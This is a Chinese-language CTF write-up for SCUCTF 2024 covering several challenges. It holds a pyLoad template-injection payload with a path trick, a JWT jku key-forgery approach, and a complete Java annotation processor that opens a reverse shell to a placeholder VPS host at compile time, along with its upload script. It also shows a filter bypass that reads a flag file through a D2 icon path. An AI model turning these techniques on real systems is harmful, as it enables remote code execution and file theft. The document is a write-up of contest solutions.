SCUCTF 2024 个人WP

SCUCTF 2024 部分WP

WEB

Pyload(一血)

思路是

缝合了https://github.com/pyload/pyload/security/advisories/GHSA-3f7w-p8vr-4v5f

和 https://github.com/pyload/pyload/security/advisories/GHSA-h73m-pcfw-25h2

  1. 首先,默认密码Pyload:Pyload登入

  2. vps上弄个恶意html文件:{{x.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")}}

  3. 查看Pyload安装路径,是/usr/local/lib/python3.11/site-packages/pyload。然后,将Pyload的下载路径改/usr/local/lib/python3.11/site-packages
    ![[Pasted image 20240601215402.png]]
    ![[Pasted image 20240601215433.png]]

  • 好像这里是打了个补丁,屏蔽了/pyload,所以就要有后面的操作
  1. 修改settings-log-permissions,修改Change permissions of downloads:为on,权限改为0744

  2. 下载vps上的恶意html文件,在下载完后的时候修改下载文件夹为/pyload/webui/app/templates/

  • 注:这里是修改的路径是子路径。所以造成了路径拼接/usr/local/lib/python3.11/site-packages/pyload/webui/app/templates/

ezlogin1(三血)

1.  注册账号,访问/home获得Cookie中的jwt字符串。

2.  字符串中含有jku字段,可以在https://mkjwk.org/ 创一个密钥对,将密钥对储存在vps上的一个json文件中,并开启http服务,能通过url访问到这个json即可。

Jvavc

审计代码,发现有三个接口,一个/upload-jar/上传jar文件,一个/upload-java/上传Java文件,一个/compile/选取java文件编译。

看完提示文档就知道是,先用注解类,在注解类的impl里用反弹shell,然后将该注解类导出一个可用的jar包,然后编译时引入注解类实现编译时运行。

编写注解类MyAnnotation.java

1
2
3
4
5
6
7
8
9
import java.lang.annotation.ElementType;
import java.lang.annotation.Retention;
import java.lang.annotation.RetentionPolicy;
import java.lang.annotation.Target;

@Retention(RetentionPolicy.SOURCE)
@Target(ElementType.TYPE)
public @interface MyAnnotation {
}

编写注解实现类MyAnnotationProcessor.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
import javax.annotation.processing.AbstractProcessor;
import javax.annotation.processing.RoundEnvironment;
import javax.annotation.processing.SupportedAnnotationTypes;
import javax.annotation.processing.SupportedSourceVersion;
import javax.lang.model.SourceVersion;
import javax.lang.model.element.Element;
import javax.lang.model.element.TypeElement;
import javax.tools.Diagnostic;
import java.io.IOException;
import java.util.Set;

import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;

@SupportedAnnotationTypes("MyAnnotation")
@SupportedSourceVersion(SourceVersion.RELEASE_8)
public class MyAnnotationProcessor extends AbstractProcessor {
@Override
public boolean process(Set<? extends TypeElement> annotations, RoundEnvironment roundEnv) {
String host = "vps_IP";
int port = vps_port;
String cmd = "sh";
try {
Process p = new ProcessBuilder(cmd).redirectErrorStream(true).start();
Socket s = new Socket(host, port);
InputStream pi = p.getInputStream(), pe = p.getErrorStream(), si = s.getInputStream();
OutputStream po = p.getOutputStream(), so = s.getOutputStream();
while (!s.isClosed()) {
while (pi.available() > 0)
so.write(pi.read());
while (pe.available() > 0)
so.write(pe.read());
while (si.available() > 0)
po.write(si.read());
so.flush();
po.flush();
Thread.sleep(50);
try {
p.exitValue();
break;
} catch (Exception e) {}
}
p.destroy();
s.close();
} catch (Exception e) {}

return true;
}
}


https://www.ddosi.org/reverse-shell-generator/可以生成反弹Java shell,但是对于这道题来说,前两个都不能用,只能用最后一个调用最基础的Socket类的才能用。

编译为class文件

1
javac MyAnnotation.java MyAnnotationProcessor.java

然后注册注解处理器,首先创建META-INF/services/javax.annotation.processing.Processor文件,并且写入

1
MyAnnotationProcessor

打包jar文件

1
jar -cf myannotation.jar META-INF/ MyAnnotation.class MyAnnotationProcessor.class

编写用来测试注解的的java文件Test.java

1
2
3
4
5
6
@MyAnnotation
public class Test {
public static void main(String[] args) {
System.out.println("Annotation applied!");
}
}

可以本地编译一下看看情况

1
javac -cp myannotation.jar Test.java

vps监听端口准备接shell,写个上传脚本,上传然后编译即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
import requests  

# 服务器地址
base_url = 'http://<server_IP>:33626'

# 上传Jar文件
def upload_jar(file_path):
url = f"{base_url}/upload-jar/"
with open(file_path, 'rb') as f:
files = {'file': (file_path, f, 'application/java-archive')}
response = requests.post(url, files=files)
return response.json()

# 上传Java文件
def upload_java(file_path):
url = f"{base_url}/upload-java/"
with open(file_path, 'rb') as f:
files = {'file': (file_path, f, 'text/x-java-source')}
response = requests.post(url, files=files)
return response.json()

# 编译Java文件
def compile_java(filename, jars=""):
url = f"{base_url}/compile/{filename}"
params = {'jars': jars}
response = requests.get(url, params=params)
return response.json()

if __name__ == "__main__":
# 替换为你的Jar文件和Java文件路径
jar_file_path = './tmp/myannotation.jar'
java_file_path = './tmp/Test.java'
java_file_name = 'Test.java' # Java文件的名称,不带路径
jar_files = 'myannotation.jar' # 使用:分隔的Jar文件列表

# 上传Jar文件
jar_upload_response = upload_jar(jar_file_path)
print("Jar Upload Response:", jar_upload_response)

# 上传Java文件
java_upload_response = upload_java(java_file_path)
print("Java Upload Response:", java_upload_response)

# 编译Java文件
compile_response = compile_java(java_file_name, jars=jar_files)
print("Compile Response:", compile_response)

vps上即可收到反弹shell。

MISC

签到

关注公众号发消息即可,(是第二个签到的

D2 Playground(一血)

仔细检查没有其它漏洞后,确定是一道读D2文档的题。

主要是需要找能读文件的。尝试过在markdown和latex中引文件,都不行。因为D2貌似实现的不是完整的latex。markdown因为有“flag”的waf,没法直接用file://协议或者直接相对路径。

那再看,发现icon:支持读取本地文件,那就是它了。

存在waf就用字符串拼接绕过,具体是用变量绕过,把根目录的flag弄成图片带出来。

1
2
3
4
5
6
7
8
9
vars: {
q:fl
e:ag
}
a -> b: Send field ${q}${e}

my network: {
icon: ../../../../..//${q}${e}
}

直接右键新标签页打开/复制图片链接,发现是串base64编码的字符。解码即得flag。

Crypto

ezRSA(三血)

原题 tetctf 2021 Unevaluated

网上搜脚本改参数运行即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
from collections import namedtuple
from Crypto.Cipher import AES

Complex = namedtuple("Complex", ["re", "im"])


def complex_mult(c1, c2, modulus):
return Complex(
(c1.re * c2.re - c1.im * c2.im) % modulus, # real part
(c1.re * c2.im + c1.im * c2.re) % modulus, # image part
)


def complex_pow(c, exp, modulus):
result = Complex(1, 0)
while exp > 0:
if exp & 1:
result = complex_mult(result, c, modulus)
c = complex_mult(c, c, modulus)
exp >>= 1
return result


def N(z):
return z.re^2 + z.im^2


def main():
G = Complex(re=73262634841171466327661318242290161950211431479114608095823989134327110985969, im=65755687729456835474634629001774801167226495053887640450742873574251217890823)
order = 874213797269245596318017751276960050439264630675688743563805790310593249529712925766768059413159410043532678649309
n = 76071024537202810519827505982296658467967125909496933634680583857230199582569
P = Complex(re=73602013369532354643286048849422130752778967384312183501245273016773046579111, im=18913813395025053157625957896884800142048146799015571023438997237364521272465)
encrypted_flag = b"n\xcf\x05eQ\xec\xcd\x04\x01E\xa5gq\x8a'\x01\x1c\xebE\xdb\x0f\x0e\xda\x01i\xbcbM\x97\x10\xfe\xb4#wS\xadj\x91\xc7\x7f\x1f3\x1f\x8d0\xa7\xc6J\xc5c\xda<^%\xc5\xa3\x05_;g\xdb\x1c\x8f\x1b"

# Multiplicative order is needed as secret = k + i*G_order
# for some non-negative integer i
G_order = Integers(n)(N(G)).multiplicative_order()

# Clever Sage method takes about 3 mins for me
k = int(pari(f"znlog({N(P)}, Mod({N(G)}, {n}))")) # 15208121869682279508410349753961596563525285197548874227988093797553755490107
while True:
key = k.to_bytes((k.bit_length() + 7) // 8, 'big')
flag = AES.new(key, AES.MODE_ECB).decrypt(encrypted_flag)
if b'CTF' or b"ctf" in flag:
print(f'Secret: {k}')
print(f'Flag: {flag}')
k += int(G_order)

if __name__ == '__main__':
main()